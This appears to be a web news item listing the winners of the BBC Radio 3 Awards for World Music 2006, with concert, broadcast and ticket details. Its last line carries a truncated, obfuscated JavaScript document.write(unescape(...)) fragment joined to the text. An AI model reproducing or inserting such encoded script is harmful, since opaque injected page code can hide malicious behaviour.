Amadou & Mariam win World Music award

WINNERS OF BBC RADIO 3 AWARDS FOR WORLD MUSIC

On Saturday 25th February the winners of the BBC Radio 3 Awards for World Music 2006 were announced on Radio 3's World Routes, transmitted from London's Bar Darbucka.

Winners include African pop sensation, Amadou & Mariam, who walk away with two awards this year (Best Album and the Africa award), Ry Cooder, Nitin Sawhney and the astounding Konono No 1 from the Congo.

The winners are:

Ry Cooder (USA): Americas
Souad Massi (Algeria): Middle East/North Africa
Amadou & Mariam (Mali): Africa
Fanfare Ciocarlia (Romania): Europe
Sain Zahoor (Pakistan): Asia/Pacific
DJ Shantel (Ukraine/Germany): Club Global
Nitin Sawhney (India/UK): Culture Crossing
Konono No 1 (Congo): Newcomer
Amadou & Mariam (Mali): Album of the Year

Many of the above artists will be appearing at the Poll Winners' Concert at Brixton Academy on Friday 7th April. The evening will be presented by Hugh Masekela and BBC Radio 3's Fiona Talkington and Verity Sharp. Tickets are available online at www.ticketweb.co.uk; and www.seetickets.com (0870 771 2000 or 08700 600 100).


One final award, the Audience Award, voted for by listeners to BBC Radio 3 and the BBC World Service plus viewers of BBC 4, will be announced on the night of the Awards.

BBC Radio 3 will broadcast the concert on Monday 10th April at 7.30pm. Highlights of the concert will be broadcast on BBC 4 on Saturday 8th April (tbc). A compilation CD is released on Union Square Music on Monday 27th March.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;